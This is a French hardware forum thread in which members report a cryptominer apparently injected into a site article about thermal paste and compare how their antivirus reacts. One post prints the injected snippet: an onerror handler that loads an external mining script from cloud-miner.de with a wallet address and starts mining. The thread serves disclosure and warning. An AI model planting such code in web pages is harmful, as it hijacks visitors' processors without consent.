Infection de page web sur le test des pâtes thermiques

Bobblebubble @
Paysan


971pts

Inscrit le: 12 janvier 2021
Messages: 540

Navigateur : n.c.
Hors ligne

Posté le: 24 juillet 2021 à 21:34  

Bonsoir
Nous demandons des volontaires pour tester une page suspecte d'infection virale
2 ont testé positif et 2 ont infirmé.

Il suffira de cliquer sur l'article du test : "Comparatif de pâtes thermiques : 9 modèles testés"
voici le lien : https://www.cowcotland.com/articles/divers/

Voir la réaction de votre antivirus et aller sur discord de cowcotland dans le salon signalement public pour donner le résultat ( nom de l'OS, du navigateur, de l'antivirus , page bloquée ou pas) ou répondre sur ce topic

Merci d'avance de votre collaboration !

Edit 1 : Pour vous inscrire à discord de Cowcotland, MP Eldran64 !

Edit 2 : Selon certains fermiers qui n'utilisent que l'antivirus de windows 10, l'accès à la page infectée fait fonctionner le processeur à 100% dans le processus de leur navigateur. Ce qui permet à penser que la page est infectée par un code de minage ! Donc faîtes attention : l'antivirus de windows 10 n'est pas assez efficace contre ce genre de virus !

Pour ma part, j'accède en ce moment à la page sans blocage mais Norton détecte et neutralise le code malveillant. Après quelques heures, Norton rebloque la page !

Donc beubeu ! quand tu seras revenu de vacances, il y a du boulot !

Dernière édition par Bobblebubble le 01 août 2021 à 13:28; édité 9 fois

2 pour,
2

Old_Bear @
Métayer


4344pts

Inscrit le: 03 mai 2015
Age: 76
Messages: 3082
Localisation: Mont Ventoux face Nord
Navigateur :
Hors ligne

Posté le: 24 juillet 2021 à 21:57  

Il y a réellement un serveur Discord ?

---

R5 5600X/RX5700_8Go/16 Go DDR4 3800/3 x SSD M.2 1To
R7 3700X/RX 6700XT_12Go/32 Go DDR4 3600/2 x SSD M.2 1To
R5 3600/RTX 2600_6Go/ 16 Go DDR4 3600/M.2 500 Go
R5 5600G/16 Go DDR4 3200/SATA 500Go

0 pour,
0

fission @
Meuhdérateur


3346pts

Inscrit le: 08 mars 2019
Messages: 2801
Localisation: ile de france
Navigateur : n.c.
En ligne

Posté le: 24 juillet 2021 à 22:08  

réponse d'une page interdite par kaspersky.

Après examen du code source, il s'agit d'un appel à cloud-miner.de après la deuxième image:

Code:

onerror=" var x=document.createElement('script'); x.setAttribute('src', 'https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean'); document.body.appendChild(x); window.onload = function() { EverythingIsLife('86QXuVdWxRKHU3RKQnnit1J3ZrJd4n62SLTkyZhT5upULX2Ky6oF2WL6CMVZK448FM6vowu1Ry3c3NNsHuJpgATvG4ovNYv', 'ccl', 20); }; "

---

0 pour,
0

Bobblebubble @
Paysan


971pts

Inscrit le: 12 janvier 2021
Messages: 540

Navigateur : n.c.
Hors ligne

Posté le: 24 juillet 2021 à 22:15  

Old_Bear a écrit:

Il y a réellement un serveur Discord ?

oui, officiel cowcotland !

https://discord.com/channels/649294878060052520/695961584949919775

1 pour,
1

bishop28 @
Métayer


3980pts

Inscrit le: 06 octobre 2010
Age: 43
Messages: 2444
Localisation: FRANCE bonneval
Navigateur : n.c.
En ligne

Posté le: 24 juillet 2021 à 23:05  

je n’ai pas accès au discord, il me dit lien invalide.

Même code source que fission, mais l'antivirus de windows 10 ne réagi pas sous firefox 90.0.2 (64 bits).
Sous Microsoft Edge chronium Version 92.0.902.55 (64bits), rien chez moi dans la page source ou l'inspection.

---

Vous vous moquez de moi parce que je suis différent, je me moque de vous parce que vous êtes tous pareil.

0 pour,
0

Martin_White @
Eleveur bovin


15875pts

Inscrit le: 12 mai 2012
Age: 48
Messages: 7110
Localisation: Orléans
Navigateur : n.c.
Hors ligne

Posté le: 24 juillet 2021 à 23:23  

Comme vu sur le discord, pas d'anomalie chez moi

---

Profil HWBOT

Mes travaux

0 pour,
0

Bobblebubble @
Paysan


971pts

Inscrit le: 12 janvier 2021
Messages: 540

Navigateur : n.c.
Hors ligne

Posté le: 24 juillet 2021 à 23:36  

bishop28 a écrit:

je n’ai pas accès au discord, il me dit lien invalide. Même code source que fission, mais l'antivirus de windows 10 ne réagi pas sous firefox 90.0.2 (64 bits). Sous Microsoft Edge chronium Version 92.0.902.55 (64bits), rien chez moi dans la page source ou l'inspection.

Aïe , tu MP Eldran64 pour qu'il te donne le lien d'inscription au serveur de cowcotland officiel !

1 pour,
1

Old_Bear @
Métayer


4344pts

Inscrit le: 03 mai 2015
Age: 76
Messages: 3082
Localisation: Mont Ventoux face Nord
Navigateur :
Hors ligne

Posté le: 25 juillet 2021 à 02:41  

En attendant Discord ...

Norton
Alerte : Une tentative d'intrusion par cloud-miner a été bloquée.
Ordinateur attaquant : cloud-miner.de (202.61.241.56, 443)

Firefox 90.0.2
Windows 10 Pro

---

R5 5600X/RX5700_8Go/16 Go DDR4 3800/3 x SSD M.2 1To
R7 3700X/RX 6700XT_12Go/32 Go DDR4 3600/2 x SSD M.2 1To
R5 3600/RTX 2600_6Go/ 16 Go DDR4 3600/M.2 500 Go
R5 5600G/16 Go DDR4 3200/SATA 500Go

0 pour,
0

Arnaud @
Paysan


738pts

Inscrit le: 08 mai 2012
Age: 51
Messages: 202
Localisation: Entre Dunkerque et Calais
Navigateur :
Hors ligne

Posté le: 25 juillet 2021 à 06:17  

Antivirus windows:

Aucune action.


Navigateur: Opera
Windows 10 famille 21H1

0 pour,
0

Karlitos @
Saisonnier


248pts

Inscrit le: 15 décembre 2019
Messages: 168

Navigateur : n.c.
Hors ligne

Posté le: 25 juillet 2021 à 06:58  

Antivirus Windows
ggogle chrome

aucune detection

0 pour,
0

reyser @
ConfiguroTractor


3856pts

Inscrit le: 11 juillet 2012
Messages: 1710
Localisation: Lille
Navigateur : n.c.
Hors ligne

Posté le: 25 juillet 2021 à 08:43  

j'ai pas d'antivirus....du coup pas d'alertes

---

Marche à contre sens de l'ordre établi

3 pour,
3

Proxysd @
Saisonnier


57pts

Inscrit le: 03 janvier 2020
Messages: 16

Navigateur : n.c.
Hors ligne

Posté le: 26 juillet 2021 à 11:31  

Ce n'est pas qu'une suspicion, ce code lance un JS externe de minage de cryptomonnaie. Même si c'est pas un virus en tant que tel, ça va quand même bouffer des ressources CPU si il est activé.

Le plus ennuyeux la dedans, c'est comment se fait-il que se bout de code se retrouve là ? Soit y'a une grosse faille dans CCL que le pirate à exploité, soit pire... c'est quelqu'un de CCL qui l'a mis là...

2 pour,
2

Le_dodo @
Ouvrier agricole


484pts

Inscrit le: 16 décembre 2020
Age: 42
Messages: 287
Localisation: 25 rue de la grange au loup
Navigateur :
Hors ligne

Posté le: 31 juillet 2021 à 21:16  

des news sur ce sujet ?

1 pour,
1

eldran64 @
Cowcot Team


20022pts

Inscrit le: 30 juin 2009
Age: 38
Messages: 7424
Localisation: En Bretagne
Navigateur :
Hors ligne

Posté le: 31 juillet 2021 à 21:21  

Nope, pas de news et toujours le signalement par mon antivirus

---

1 pour,
1

Bobblebubble @
Paysan


971pts

Inscrit le: 12 janvier 2021
Messages: 540

Navigateur : n.c.
Hors ligne

Posté le: 31 juillet 2021 à 21:33  

eldran64 a écrit:

Nope, pas de news et toujours le signalement par mon antivirus

Idem !

0 pour,
0

 

Sujets similaires
Sujet		Auteur	Forum	Réponses	Posté le
	Test KFA2 RTX 4070 EX Gamer Pink : la vie est plus belle ...	jonh	Cartes Graphiques	0	01 décembre 2023 à 15:02
	Test carte mère : MSI MEG Z790 ACE MAX, sublime !	SebastienD	CPU, Cartes mères, RAM	1	22 novembre 2023 à 10:29